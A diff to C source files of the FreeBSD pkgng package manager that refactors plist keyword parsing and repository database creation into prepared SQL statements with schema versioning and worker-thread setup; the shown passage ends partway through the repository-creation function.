	yaml_document_t doc;
	yaml_node_t *node;
@@ -606,16 +680,19 @@ external_keyword(struct plist *plist, char *keyword, char *line)
	pkg_config_string(PKG_CONFIG_PLIST_KEYWORDS_DIR, &keyword_dir);
	if (keyword_dir == NULL) {
		pkg_config_string(PKG_CONFIG_PORTSDIR, &keyword_dir);
-
		snprintf(keyfile_path, sizeof(keyfile_path), "%s/Keywords/%s.yaml", keyword_dir, keyword);
+
		snprintf(keyfile_path, sizeof(keyfile_path),
+
		    "%s/Keywords/%s.yaml", keyword_dir, keyword);
	} else {
-
		snprintf(keyfile_path, sizeof(keyfile_path), "%s/%s.yaml", keyword_dir, keyword);
+
		snprintf(keyfile_path, sizeof(keyfile_path),
+
		    "%s/%s.yaml", keyword_dir, keyword);
	}

	if ((fp = fopen(keyfile_path, "r")) == NULL) {
		if (errno != ENOENT)
-
			pkg_emit_errno("Unable to open keyword definition", keyfile_path);
+
			pkg_emit_errno("Unable to open keyword definition",
+
			    keyfile_path);

-
		return (EPKG_FATAL);
+
		return (EPKG_UNKNOWN);
	}

	yaml_parser_initialize(&parser);
@@ -625,9 +702,11 @@ external_keyword(struct plist *plist, char *keyword, char *line)
	node = yaml_document_get_root_node(&doc);
	if (node != NULL) {
		if (node->type != YAML_MAPPING_NODE) {
-
			pkg_emit_error("Invalid keyword file format: %s", keyfile_path);
+
			pkg_emit_error("Invalid keyword file format: %s",
+
			    keyfile_path);
		} else {
-
			ret = parse_and_apply_keyword_file(&doc, node, plist, line);
+
			ret = parse_and_apply_keyword_file(&doc, node, plist,
+
			    line);
		}
	} else {
		pkg_emit_error("Invalid keyword file format: %s", keyfile_path);
@@ -637,7 +716,6 @@ external_keyword(struct plist *plist, char *keyword, char *line)
	yaml_parser_delete(&parser);

	return (ret);
-

}

static int
@@ -647,15 +725,14 @@ parse_keywords(struct plist *plist, char *keyword, char *line)
	struct action *a;
	int ret = EPKG_FATAL;

-
	STAILQ_FOREACH(k, &plist->keywords, next) {
-
		if (!strcmp(k->keyword, keyword)) {
-
			STAILQ_FOREACH(a, &k->actions, next) {
-
				ret = a->perform(plist, line);
-
				if (ret != EPKG_OK)
-
					return (ret);
-
			}
-
			return (ret);
+
	HASH_FIND_STR(plist->keywords, keyword, k);
+
	if (k != NULL) {
+
		STAILQ_FOREACH(a, &k->actions, next) {
+
			ret = a->perform(plist, line);
+
			if (ret != EPKG_OK)
+
				return (ret);
		}
+
		return (ret);
	}

	/*
@@ -677,7 +754,7 @@ flush_script_buffer(struct sbuf *buf, struct pkg *p, int type)
}

int
-
ports_parse_plist(struct pkg *pkg, char *plist)
+
ports_parse_plist(struct pkg *pkg, char *plist, const char *stage)
{
	char *plist_p, *buf, *plist_buf;
	int nbel, i;
@@ -693,6 +770,7 @@ ports_parse_plist(struct pkg *pkg, char *plist)

	pplist.last_file = NULL;
	pplist.prefix = NULL;
+
	pplist.stage = stage;
	pplist.unexec_buf = sbuf_new_auto();
	pplist.pre_install_buf = sbuf_new_auto();
	pplist.post_install_buf = sbuf_new_auto();
@@ -708,7 +786,7 @@ ports_parse_plist(struct pkg *pkg, char *plist)
	pplist.ignore_next = false;
	pplist.hardlinks = &hardlinks;
	pplist.flatsize = 0;
-
	STAILQ_INIT(&pplist.keywords);
+
	pplist.keywords = NULL;

	populate_keywords(&pplist);

@@ -748,8 +826,15 @@ ports_parse_plist(struct pkg *pkg, char *plist)
			/* trim write spaces */
			while (isspace(buf[0]))
				buf++;
-
			if (parse_keywords(&pplist, keyword, buf) != EPKG_OK)
-
				pkg_emit_error("unknown keyword %s, ignoring %s", keyword, plist_p);
+
			switch (parse_keywords(&pplist, keyword, buf)) {
+
			case EPKG_UNKNOWN:
+
				pkg_emit_error("unknown keyword %s, ignoring %s",
+
				    keyword, plist_p);
+
				break;
+
			case EPKG_FATAL:
+
				ret = EPKG_FATAL;
+
				break;
+
			}
		} else if ((len = strlen(plist_p)) > 0){
			if (sbuf_len(pplist.unexec_buf) > 0) {
				sbuf_finish(pplist.unexec_buf);
@@ -764,7 +849,8 @@ ports_parse_plist(struct pkg *pkg, char *plist)
			while (isspace(buf[0]))
				buf++;

-
			file(&pplist, buf);
+
			if (file(&pplist, buf) != EPKG_OK)
+
				ret = EPKG_FATAL;
		}

		if (i != nbel) {
@@ -775,13 +861,20 @@ ports_parse_plist(struct pkg *pkg, char *plist)

	pkg_set(pkg, PKG_FLATSIZE, pplist.flatsize);

-
	flush_script_buffer(pplist.pre_install_buf, pkg, PKG_SCRIPT_PRE_INSTALL);
-
	flush_script_buffer(pplist.post_install_buf, pkg, PKG_SCRIPT_POST_INSTALL);
-
	flush_script_buffer(pplist.pre_deinstall_buf, pkg, PKG_SCRIPT_PRE_DEINSTALL);
-
	flush_script_buffer(pplist.unexec_buf, pkg, PKG_SCRIPT_POST_DEINSTALL);
-
	flush_script_buffer(pplist.post_deinstall_buf, pkg, PKG_SCRIPT_POST_DEINSTALL);
-
	flush_script_buffer(pplist.pre_upgrade_buf, pkg, PKG_SCRIPT_PRE_UPGRADE);
-
	flush_script_buffer(pplist.post_upgrade_buf, pkg, PKG_SCRIPT_POST_UPGRADE);
+
	flush_script_buffer(pplist.pre_install_buf, pkg,
+
	    PKG_SCRIPT_PRE_INSTALL);
+
	flush_script_buffer(pplist.post_install_buf, pkg,
+
	    PKG_SCRIPT_POST_INSTALL);
+
	flush_script_buffer(pplist.pre_deinstall_buf, pkg,
+
	    PKG_SCRIPT_PRE_DEINSTALL);
+
	flush_script_buffer(pplist.unexec_buf, pkg,
+
	    PKG_SCRIPT_POST_DEINSTALL);
+
	flush_script_buffer(pplist.post_deinstall_buf, pkg,
+
	    PKG_SCRIPT_POST_DEINSTALL);
+
	flush_script_buffer(pplist.pre_upgrade_buf, pkg,
+
	    PKG_SCRIPT_PRE_UPGRADE);
+
	flush_script_buffer(pplist.post_upgrade_buf, pkg,
+
	    PKG_SCRIPT_POST_UPGRADE);

	free(hardlinks.inodes);

modified libpkg/pkg_repo.c
@@ -2,6 +2,7 @@
 * Copyright (c) 2011-2012 Baptiste Daroussin <bapt@FreeBSD.org>
 * Copyright (c) 2011-2012 Julien Laffaye <jlaffaye@FreeBSD.org>
 * Copyright (c) 2011-2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * Copyright (c) 2012 Matthew Seaman <matthew@FreeBSD.org>
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without
@@ -26,7 +27,9 @@
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

+
#include <sys/types.h>
#include <sys/stat.h>
+
#include <sys/sysctl.h>

#include <archive_entry.h>
#include <assert.h>
@@ -41,6 +44,107 @@
#include "private/event.h"
#include "private/utils.h"
#include "private/pkg.h"
+
#include "private/pkgdb.h"
+
#include "private/thd_repo.h"
+

+
/* The package repo schema major revision */
+
#define REPO_SCHEMA_MAJOR 2
+

+
/* The package repo schema minor revision.
+
   Minor schema changes don't prevent older pkgng
+
   versions accessing the repo */
+
#define REPO_SCHEMA_MINOR 1
+

+
#define REPO_SCHEMA_VERSION (REPO_SCHEMA_MAJOR * 1000 + REPO_SCHEMA_MINOR)
+

+
typedef enum _sql_prstmt_index {
+
	PKG = 0,
+
	DEPS,
+
	CAT1,
+
	CAT2,
+
	LIC1,
+
	LIC2,
+
	OPTS,
+
	SHLIB1,
+
	SHLIB2,
+
	EXISTS,
+
	VERSION,
+
	DELETE,
+
	PRSTMT_LAST,
+
} sql_prstmt_index;
+

+
static sql_prstmt sql_prepared_statements[PRSTMT_LAST] = {
+
	[PKG] = {
+
		NULL,
+
		"INSERT INTO packages ("
+
		"origin, name, version, comment, desc, arch, maintainer, www, "
+
		"prefix, pkgsize, flatsize, licenselogic, cksum, path"
+
		")"
+
		"VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14)",
+
		"TTTTTTTTTIIITT",
+
	},
+
	[DEPS] = {
+
		NULL,
+
		"INSERT INTO deps (origin, name, version, package_id) "
+
		"VALUES (?1, ?2, ?3, ?4)",
+
		"TTTI",
+
	},
+
	[CAT1] = {
+
		NULL,
+
		"INSERT OR IGNORE INTO categories(name) VALUES(?1)",
+
		"T",
+
	},
+
	[CAT2] = {
+
		NULL,
+
		"INSERT OR ROLLBACK INTO pkg_categories(package_id, category_id) "
+
		"VALUES (?1, (SELECT id FROM categories WHERE name = ?2))",
+
		"IT",
+
	},
+
	[LIC1] = {
+
		NULL,
+
		"INSERT OR IGNORE INTO licenses(name) VALUES(?1)",
+
		"T",
+
	},
+
	[LIC2] = {
+
		NULL,
+
		"INSERT OR ROLLBACK INTO pkg_licenses(package_id, license_id) "
+
		"VALUES (?1, (SELECT id FROM licenses WHERE name = ?2))",
+
		"IT",
+
	},
+
	[OPTS] = {
+
		NULL,
+
		"INSERT OR ROLLBACK INTO options (option, value, package_id) "
+
		"VALUES (?1, ?2, ?3)",
+
		"TTI",
+
	},
+
	[SHLIB1] = {
+
		NULL,
+
		"INSERT OR IGNORE INTO shlibs(name) VALUES(?1)",
+
		"T",
+
	},
+
	[SHLIB2] = {
+
		NULL,
+
		"INSERT OR ROLLBACK INTO pkg_shlibs(package_id, shlib_id) "
+
		"VALUES (?1, (SELECT id FROM shlibs WHERE name = ?2))",
+
		"IT",
+
	},
+
	[EXISTS] = {
+
		NULL,
+
		"SELECT count(*) FROM packages WHERE cksum=?1",
+
		"T",
+
	},
+
	[VERSION] = {
+
		NULL,
+
		"SELECT version FROM packages WHERE origin=?1",
+
		"T",
+
	},
+
	[DELETE] = {
+
		NULL,
+
		"DELETE FROM packages WHERE origin=?1",
+
		"T",
+
	},
+
	/* PRSTMT_LAST */
+
};

int
pkg_repo_fetch(struct pkg *pkg)
@@ -66,7 +170,8 @@ pkg_repo_fetch(struct pkg *pkg)

	snprintf(dest, sizeof(dest), "%s/%s", cachedir, repopath);

-
	/* If it is already in the local cachedir, dont bother to download it */
+
	/* If it is already in the local cachedir, dont bother to
+
	 * download it */
	if (access(dest, F_OK) == 0)
		goto checksum;

@@ -80,7 +185,7 @@ pkg_repo_fetch(struct pkg *pkg)
	if ((retcode = mkdirs(path)) != EPKG_OK)
		goto cleanup;

-
	/* 
+
	/*
	 * In multi-repos the remote URL is stored in pkg[PKG_REPOURL]
	 * For a single attached database the repository URL should be
	 * defined by PACKAGESITE.
@@ -115,11 +220,12 @@ pkg_repo_fetch(struct pkg *pkg)
	if (retcode == EPKG_OK)
		if (strcmp(cksum, sum)) {
			if (fetched == 1) {
-
				pkg_emit_error("%s-%s failed checksum from repository",
-
				    name, version);
+
				pkg_emit_error("%s-%s failed checksum "
+
				    "from repository", name, version);
				retcode = EPKG_FATAL;
			} else {
-
				pkg_emit_error("cached package %s-%s: checksum mismatch, fetching from remote",
+
				pkg_emit_error("cached package %s-%s: "
+
				    "checksum mismatch, fetching from remote",
				    name, version);
				unlink(dest);
				return (pkg_repo_fetch(pkg));
@@ -152,46 +258,41 @@ file_exists(sqlite3_context *ctx, int argc, __unused sqlite3_value **argv)
			sqlite3_result_int(ctx, 0);
}

-
int
-
pkg_create_repo(char *path, void (progress)(struct pkg *pkg, void *data), void *data)
+
static int
+
get_repo_user_version(sqlite3 *sqlite, const char *database, int *reposcver)
{
-
	FTS *fts = NULL;
-
	FTSENT *ent = NULL;
+
	sqlite3_stmt *stmt;
+
	int retcode;
+
	char sql[BUFSIZ];
+
	const char *fmt = "PRAGMA %Q.user_version";

-
	struct pkg *pkg = NULL;
-
	struct pkg_dep *dep = NULL;
-
	struct pkg_category *category = NULL;
-
	struct pkg_license *license = NULL;
-
	struct pkg_option *option = NULL;
-
	struct pkg_shlib *shlib = NULL;
-
	struct sbuf *manifest = NULL;
-
	char *ext = NULL;
+
	assert(database != NULL);

-
	sqlite3 *sqlite = NULL;
-
	sqlite3_stmt *stmt_deps = NULL;
-
	sqlite3_stmt *stmt_pkg = NULL;
-
	sqlite3_stmt *stmt_lic1 = NULL;
-
	sqlite3_stmt *stmt_lic2 = NULL;
-
	sqlite3_stmt *stmt_cat1 = NULL;
-
	sqlite3_stmt *stmt_cat2 = NULL;
-
	sqlite3_stmt *stmt_opts = NULL;
-
	sqlite3_stmt *stmt_shlib1 = NULL;
-
	sqlite3_stmt *stmt_shlib2 = NULL;
+
	sqlite3_snprintf(sizeof(sql), sql, fmt, database);

-
	int64_t package_id;
-
	char *errmsg = NULL;
-
	int retcode = EPKG_OK;
-
	char *pkg_path;
-
	char cksum[SHA256_DIGEST_LENGTH * 2 +1];
-
	bool incremental = false;
-
	int ret;
+
	if (sqlite3_prepare_v2(sqlite, sql, -1, &stmt, NULL) != SQLITE_OK) {
+
		ERROR_SQLITE(sqlite);
+
		return (EPKG_FATAL);
+
	}

-
	char *repopath[2];
-
	char repodb[MAXPATHLEN + 1];
-
	char repopack[MAXPATHLEN + 1];
+
	if (sqlite3_step(stmt) == SQLITE_ROW) {
+
		*reposcver = sqlite3_column_int(stmt, 0);
+
		retcode = EPKG_OK;
+
	} else {
+
		*reposcver = -1;
+
		retcode = EPKG_FATAL;
+
	}
+
	sqlite3_finalize(stmt);
+
	return (retcode);
+
}

-
	struct archive *a = NULL;
-
	struct archive_entry *ae = NULL;
+
static int
+
initialize_repo(const char *repodb, bool force, sqlite3 **sqlite)
+
{
+
	bool incremental = false;
+
	bool db_not_open;
+
	int reposcver;
+
	int retcode = EPKG_OK;

	const char initsql[] = ""
		"CREATE TABLE packages ("
@@ -210,14 +311,16 @@ pkg_create_repo(char *path, void (progress)(struct pkg *pkg, void *data), void *
			"flatsize INTEGER NOT NULL,"
			"licenselogic INTEGER NOT NULL,"
			"cksum TEXT NOT NULL,"
-
			"path TEXT NOT NULL," /* relative path to the package in the repository */
+
			/* relative path to the package in the repository */
+
			"path TEXT NOT NULL,"
			"pkg_format_version INTEGER"
		");"
		"CREATE TABLE deps ("
			"origin TEXT,"
			"name TEXT,"
			"version TEXT,"
-
			"package_id INTEGER REFERENCES packages(id),"
+
			"package_id INTEGER REFERENCES packages(id)"
+
		        "  ON DELETE CASCADE ON UPDATE CASCADE,"
			"UNIQUE(package_id, origin)"
		");"
		"CREATE TABLE categories ("
@@ -225,8 +328,10 @@ pkg_create_repo(char *path, void (progress)(struct pkg *pkg, void *data), void *
			"name TEXT NOT NULL UNIQUE "
		");"
		"CREATE TABLE pkg_categories ("
-
			"package_id INTEGER REFERENCES packages(id), "
-
			"category_id INTEGER REFERENCES categories(id), "
+
			"package_id INTEGER REFERENCES packages(id)"
+
		        "  ON DELETE CASCADE ON UPDATE CASCADE,"
+
			"category_id INTEGER REFERENCES categories(id)"
+
			"  ON DELETE RESTRICT ON UPDATE RESTRICT,"
			"UNIQUE(package_id, category_id)"
		");"
		"CREATE TABLE licenses ("
@@ -234,12 +339,15 @@ pkg_create_repo(char *path, void (progress)(struct pkg *pkg, void *data), void *
			"name TEXT NOT NULL UNIQUE"
		");"
		"CREATE TABLE pkg_licenses ("
-
			"package_id INTEGER REFERENCES packages(id), "
-
			"license_id INTEGER REFERENCES licenses(id), "
+
			"package_id INTEGER REFERENCES packages(id)"
+
		        "  ON DELETE CASCADE ON UPDATE CASCADE,"
+
			"license_id INTEGER REFERENCES licenses(id)"
+
			"  ON DELETE RESTRICT ON UPDATE RESTRICT,"
			"UNIQUE(package_id, license_id)"
		");"
		"CREATE TABLE options ("
-
			"package_id INTEGER REFERENCES packages(id), "
+
			"package_id INTEGER REFERENCES packages(id)"
+
		        "  ON DELETE CASCADE ON UPDATE CASCADE,"
			"option TEXT,"
			"value TEXT,"
			"UNIQUE (package_id, option)"
@@ -249,353 +357,440 @@ pkg_create_repo(char *path, void (progress)(struct pkg *pkg, void *data), void *
			"name TEXT NOT NULL UNIQUE "
		");"
		"CREATE TABLE pkg_shlibs ("
-
			"package_id INTEGER REFERENCES packages(id), "
-
			"shlib_id INTEGER REFERENCES shlibs(id), "
+
			"package_id INTEGER REFERENCES packages(id)"
+
		        "  ON DELETE CASCADE ON UPDATE CASCADE,"
+
			"shlib_id INTEGER REFERENCES shlibs(id)"
+
			"  ON DELETE RESTRICT ON UPDATE RESTRICT,"
			"UNIQUE(package_id, shlib_id)"
		");"
-
		"PRAGMA user_version=2;"
+
		"PRAGMA user_version=%d;"
		;
-
	const char pkgsql[] = ""
-
		"INSERT INTO packages ("
-
				"origin, name, version, comment, desc, arch, "
-
				"maintainer, www, prefix, pkgsize, flatsize, licenselogic, cksum, path"
-
		")"
-
		"VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14);";
-
	const char depssql[] = ""
-
		"INSERT INTO deps (origin, name, version, package_id) "
-
		"VALUES (?1, ?2, ?3, ?4);";
-
	const char licsql[] = "INSERT OR IGNORE INTO licenses(name) VALUES(?1);";
-
	const char addlicsql[] = "INSERT OR ROLLBACK INTO pkg_licenses(package_id, license_id) "
-
		"VALUES (?1, (SELECT id FROM licenses WHERE name = ?2));";
-
	const char catsql[] = "INSERT OR IGNORE INTO categories(name) VALUES(?1);";
-
	const char addcatsql[] = "INSERT OR ROLLBACK INTO pkg_categories(package_id, category_id) "
-
		"VALUES (?1, (SELECT id FROM categories WHERE name = ?2));";
-
	const char addoption[] = "INSERT OR ROLLBACK INTO options (option, value, package_id) "
-
		"VALUES (?1, ?2, ?3);";
-
	const char shlibsql[] = "INSERT OR IGNORE INTO shlibs(name) VALUES(?1);";
-
	const char addshlibsql[] = "INSERT OR ROLLBACK INTO pkg_shlibs(package_id, shlib_id) "
-
		"VALUES (?1, (SELECT id FROM shlibs WHERE name = ?2))";

-
	if (!is_dir(path)) {
-
		pkg_emit_error("%s is not a directory", path);
-
		return EPKG_FATAL;
-
	}
+
	if (access(repodb, F_OK) == 0)
+
		incremental = true;

-
	repopath[0] = path;
-
	repopath[1] = NULL;
+
	sqlite3_initialize();
+
	db_not_open = true;
+
	while (db_not_open) {
+
		if (sqlite3_open(repodb, sqlite) != SQLITE_OK) {
+
			sqlite3_shutdown();
+
			return (EPKG_FATAL);
+
		}

-
	snprintf(repodb, sizeof(repodb), "%s/repo.sqlite", path);
-
	snprintf(repopack, sizeof(repopack), "%s/repo.txz", path);
+
		db_not_open = false;

-
	if (access(repopack, F_OK) == 0) {
-
		a = archive_read_new();
-
		archive_read_support_compression_all(a);
-
		archive_read_support_format_tar(a);
-
		if (archive_read_open_filename(a, repopack, 4096) != ARCHIVE_OK) {
-
			/* if we can't unpack it it won't be useful for us */
-
			unlink(repopack);
-
		} else {
-
			while (archive_read_next_header(a, &ae) == ARCHIVE_OK) {
-
				if (!strcmp(archive_entry_pathname(ae), "repo.sqlite")) {
-
					archive_entry_set_pathname(ae, repodb);
-
					archive_read_extract(a, ae, EXTRACT_ARCHIVE_FLAGS);
-
					break;
-
				}
-
			}
+
		/* If the schema is too old, or we're forcing a full
+
		   update, then we cannot do an incremental update.
+
		   Delete the existing repo, and promote this to a
+
		   full update */
+
		if (!incremental)
+
			continue;
+
		retcode = get_repo_user_version(*sqlite, "main", &reposcver);
+
		if (retcode != EPKG_OK)
+
			return (EPKG_FATAL);
+
		if (force || reposcver != REPO_SCHEMA_VERSION) {
+
			if (reposcver != REPO_SCHEMA_VERSION)
+
				pkg_emit_error("updating repo schema version "
+
				     "from %d to %d", reposcver,
+
				     REPO_SCHEMA_VERSION);
+
			sqlite3_close(*sqlite);
+
			unlink(repodb);
+
			incremental = false;
+
			db_not_open = true;
		}
-
		if (a != NULL)
-
			archive_read_finish(a);
	}

-
	if (access(repodb, F_OK) == 0)
-
		incremental = true;
+
	sqlite3_create_function(*sqlite, "file_exists", 1, SQLITE_ANY, NULL,
+
				file_exists, NULL, NULL);

-
	sqlite3_initialize();
-
	if (sqlite3_open(repodb, &sqlite) != SQLITE_OK) {
-
		sqlite3_shutdown();
-
		return (EPKG_FATAL);
-
	}
+
	if ((retcode = sql_exec(*sqlite, "PRAGMA synchronous=off")) != EPKG_OK)
+
		return (retcode);

-
	sqlite3_create_function(sqlite, "file_exists", 1, SQLITE_ANY, NULL, file_exists, NULL, NULL);
-
	if ((retcode = sql_exec(sqlite, "PRAGMA synchronous=off;")) != EPKG_OK)
-
		goto cleanup;
+
	retcode = sql_exec(*sqlite, "PRAGMA journal_mode=memory");
+
	if (retcode != EPKG_OK)
+
		return (retcode);

-
	if ((retcode = sql_exec(sqlite, "PRAGMA journal_mode=memory")) != EPKG_OK)
-
		goto cleanup;
+
	if ((retcode = sql_exec(*sqlite, "PRAGMA foreign_keys=on")) != EPKG_OK)
+
		return (retcode);

-
	if (!incremental && (retcode = sql_exec(sqlite, initsql)) != EPKG_OK)
-
		goto cleanup;
+
	if (!incremental) {
+
		retcode = sql_exec(*sqlite, initsql, REPO_SCHEMA_VERSION);
+
		if (retcode != EPKG_OK)
+
			return (retcode);
+
	}

-
	if ((retcode = sql_exec(sqlite, "BEGIN TRANSACTION;")) != EPKG_OK)
-
		goto cleanup;
+
	if ((retcode = sql_exec(*sqlite, "BEGIN TRANSACTION")) != EPKG_OK)
+
		return (retcode);

-
	/* remove everything that is not anymore in the repository */
+
	/* remove anything that is no longer in the repository. */
	if (incremental) {
-
		sql_exec(sqlite, "DELETE FROM packages WHERE NOT FILE_EXISTS(path);");
-
		sql_exec(sqlite, "DELETE FROM deps WHERE package_id NOT IN (SELECT package_id FROM packages);");
-
		sql_exec(sqlite, "DELETE FROM pkg_categories WHERE package_id NOT IN (SELECT package_id FROM packages);");
-
		sql_exec(sqlite, "DELETE FROM categories WHERE id NOT IN (SELECT category_id FROM pkg_categories);");
-
		sql_exec(sqlite, "DELETE FROM pkg_licenses WHERE package_id NOT IN (SELECT package_id FROM packages);");
-
		sql_exec(sqlite, "DELETE FROM licenses WHERE id NOT IN (SELECT license_id FROM pkg_licenses);");
-
		sql_exec(sqlite, "DELETE FROM options WHERE package_id NOT IN (SELECT package_id FROM packages);");
-
		sql_exec(sqlite, "DELETE FROM pkg_shlibs WHERE package_id NOT IN (SELECT package_id FROM packages);");
+
		const char *obsolete[] = {
+
			"packages WHERE NOT FILE_EXISTS(path)",
+
			"categories WHERE id NOT IN "
+
				"(SELECT category_id FROM pkg_categories)",
+
			"licenses WHERE id NOT IN "
+
				"(SELECT license_id FROM pkg_licenses)",
+
			"shlibs WHERE id NOT IN "
+
				"(SELECT shlib_id FROM pkg_shlibs)"
+
		};
+
		size_t num_objs = sizeof(obsolete) / sizeof(*obsolete);
+
		for (size_t obj = 0; obj < num_objs; obj++)
+
			sql_exec(*sqlite, "DELETE FROM %s;", obsolete[obj]);
	}

-
	if (sqlite3_prepare_v2(sqlite, pkgsql, -1, &stmt_pkg, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(sqlite);
-
		retcode = EPKG_FATAL;
-
		goto cleanup;
+
	return (EPKG_OK);
+
}
+

+
static int
+
initialize_prepared_statements(sqlite3 *sqlite)
+
{
+
	sql_prstmt_index i;
+
	int ret;
+

+
	for (i = 0; i < PRSTMT_LAST; i++)
+
	{
+
		ret = sqlite3_prepare_v2(sqlite, SQL(i), -1, &STMT(i), NULL);
+
		if (ret != SQLITE_OK) {
+
			ERROR_SQLITE(sqlite);
+
			return (EPKG_FATAL);
+
		}
	}
+
	return (EPKG_OK);
+
}

-
	if (sqlite3_prepare_v2(sqlite, depssql, -1, &stmt_deps, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(sqlite);
-
		retcode = EPKG_FATAL;
-
		goto cleanup;
+
static int
+
run_prepared_statement(sql_prstmt_index s, ...)
+
{
+
	int retcode;	/* Returns SQLITE error code */
+
	va_list ap;
+
	sqlite3_stmt *stmt;
+
	int i;
+
	const char *argtypes;
+

+
	stmt = STMT(s);
+
	argtypes = sql_prepared_statements[s].argtypes;
+

+
	sqlite3_reset(stmt);
+

+
	va_start(ap, s);
+

+
	for (i = 0; argtypes[i] != '\0'; i++)
+
	{
+
		switch (argtypes[i]) {
+
		case 'T':
+
			sqlite3_bind_text(stmt, i + 1, va_arg(ap, const char*),
+
			    -1, SQLITE_STATIC);
+
			break;
+
		case 'I':
+
			sqlite3_bind_int64(stmt, i + 1, va_arg(ap, int64_t));
+
			break;
+
		}
	}

-
	if (sqlite3_prepare_v2(sqlite, licsql, -1, &stmt_lic1, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(sqlite);
-
		retcode = EPKG_FATAL;
-
		goto cleanup;
+
	va_end(ap);
+

+
	retcode = sqlite3_step(stmt);
+

+
	return (retcode);
+
}
+

+
static void
+
finalize_prepared_statements(void)
+
{
+
	sql_prstmt_index i;
+

+
	for (i = 0; i < PRSTMT_LAST; i++)
+
	{
+
		if (STMT(i) != NULL) {
+
			sqlite3_finalize(STMT(i));
+
			STMT(i) = NULL;
+
		}
	}
+
	return;
+
}

-
	if (sqlite3_prepare_v2(sqlite, addlicsql, -1, &stmt_lic2, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(sqlite);
-
		retcode = EPKG_FATAL;
-
		goto cleanup;
+
static int
+
maybe_delete_conflicting(const char *origin, const char *version,
+
			 const char *pkg_path)
+
{
+
	int ret;
+
	const char *oversion;
+

+
	if (run_prepared_statement(VERSION, origin) != SQLITE_ROW)
+
		return (EPKG_FATAL); /* sqlite error */
+
	oversion = sqlite3_column_text(STMT(VERSION), 0);
+
	switch(pkg_version_cmp(oversion, version)) {
+
	case -1:
+
		pkg_emit_error("duplicate package origin: replacing older "
+
			       "version %s in repo with package %s for "
+
			       "origin %s", oversion, pkg_path, origin);
+

+
		if (run_prepared_statement(DELETE, origin) != SQLITE_DONE)
+
			return (EPKG_FATAL); /* sqlite error */
+

+
		ret = EPKG_OK;	/* conflict cleared */
+
		break;
+
	case 0:
+
	case 1:
+
		pkg_emit_error("duplicate package origin: package %s is not "
+
			       "newer than version %s already in repo for "
+
			       "origin %s", pkg_path, oversion, origin);
+
		ret = EPKG_END;	/* keep what is already in the repo */
+
		break;
	}
+
	return (ret);	
+
}

-
	if (sqlite3_prepare_v2(sqlite, addoption, -1, &stmt_opts, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(sqlite);
-
		retcode = EPKG_FATAL;
-
		goto cleanup;
+
int
+
pkg_create_repo(char *path, bool force,
+
    void (progress)(struct pkg *pkg, void *data), void *data)
+
{
+
	FTS *fts = NULL;
+
	struct thd_data thd_data;
+
	int num_workers;
+
	size_t len;
+
	pthread_t *tids = NULL;
+

+
	struct pkg_dep *dep = NULL;
+
	struct pkg_category *category = NULL;
+
	struct pkg_license *license = NULL;
+
	struct pkg_option *option = NULL;
+
	struct pkg_shlib *shlib = NULL;
+

+
	sqlite3 *sqlite = NULL;
+

+
	int64_t package_id;
+
	char *errmsg = NULL;
+
	int retcode = EPKG_OK;
+
	int ret;
+

+
	char *repopath[2];
+
	char repodb[MAXPATHLEN + 1];
+
	char repopack[MAXPATHLEN + 1];
+

+
	struct archive *a = NULL;
+
	struct archive_entry *ae = NULL;
+

+
	if (!is_dir(path)) {
+
		pkg_emit_error("%s is not a directory", path);
+
		return (EPKG_FATAL);
	}

-
	if ((fts = fts_open(repopath, FTS_PHYSICAL, NULL)) == NULL) {
+
	repopath[0] = path;
+
	repopath[1] = NULL;
+

+
	len = sizeof(num_workers);
+
	if (sysctlbyname("hw.ncpu", &num_workers, &len, NULL, 0) == -1)
+
		num_workers = 6;
+

+
	if ((fts = fts_open(repopath, FTS_PHYSICAL|FTS_NOCHDIR, NULL)) == NULL) {
		pkg_emit_errno("fts_open", path);
		retcode = EPKG_FATAL;
		goto cleanup;
	}

-
	if (sqlite3_prepare_v2(sqlite, catsql, -1, &stmt_cat1, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(sqlite);
-
		retcode = EPKG_FATAL;
-
		goto cleanup;
-
	}
+
	snprintf(repodb, sizeof(repodb), "%s/repo.sqlite", path);
+
	snprintf(repopack, sizeof(repopack), "%s/repo.txz", path);

-
	if (sqlite3_prepare_v2(sqlite, addcatsql, -1, &stmt_cat2, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(sqlite);
-
		retcode = EPKG_FATAL;
-
		goto cleanup;
+
	if (access(repopack, F_OK) == 0) {
+
		a = archive_read_new();
+
		archive_read_support_compression_all(a);
+
		archive_read_support_format_tar(a);
+
		ret = archive_read_open_filename(a, repopack, 4096);
+
		if (ret != ARCHIVE_OK) {
+
			/* if we can't unpack it it won't be useful for us */
+
			unlink(repopack);
+
		} else {
+
			while (archive_read_next_header(a, &ae) == ARCHIVE_OK) {
+
				if (!strcmp(archive_entry_pathname(ae),
+
				    "repo.sqlite")) {
+
					archive_entry_set_pathname(ae, repodb);
+
					archive_read_extract(a, ae,
+
					    EXTRACT_ARCHIVE_FLAGS);
+
					break;
+
				}
+
			}
+
		}
+
		if (a != NULL)
+
			archive_read_finish(a);
	}

-
	if (sqlite3_prepare_v2(sqlite, shlibsql, -1, &stmt_shlib1, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(sqlite);
-
		retcode = EPKG_FATAL;
+
	if ((retcode = initialize_repo(repodb, force, &sqlite)) != EPKG_OK)
		goto cleanup;
-
	}

-
	if (sqlite3_prepare_v2(sqlite, addshlibsql, -1, &stmt_shlib2, NULL) != SQLITE_OK) {
-
		ERROR_SQLITE(sqlite);
-
		retcode = EPKG_FATAL;
+
	if ((retcode = initialize_prepared_statements(sqlite)) != EPKG_OK)
		goto cleanup;
+

+
	thd_data.root_path = path;
+
	thd_data.max_results = num_workers;
+
	thd_data.num_results = 0;
+
	thd_data.stop = false;
+
	thd_data.fts = fts;
+
	pthread_mutex_init(&thd_data.fts_m, NULL);
+
	STAILQ_INIT(&thd_data.results);
+
	thd_data.thd_finished = 0;
+
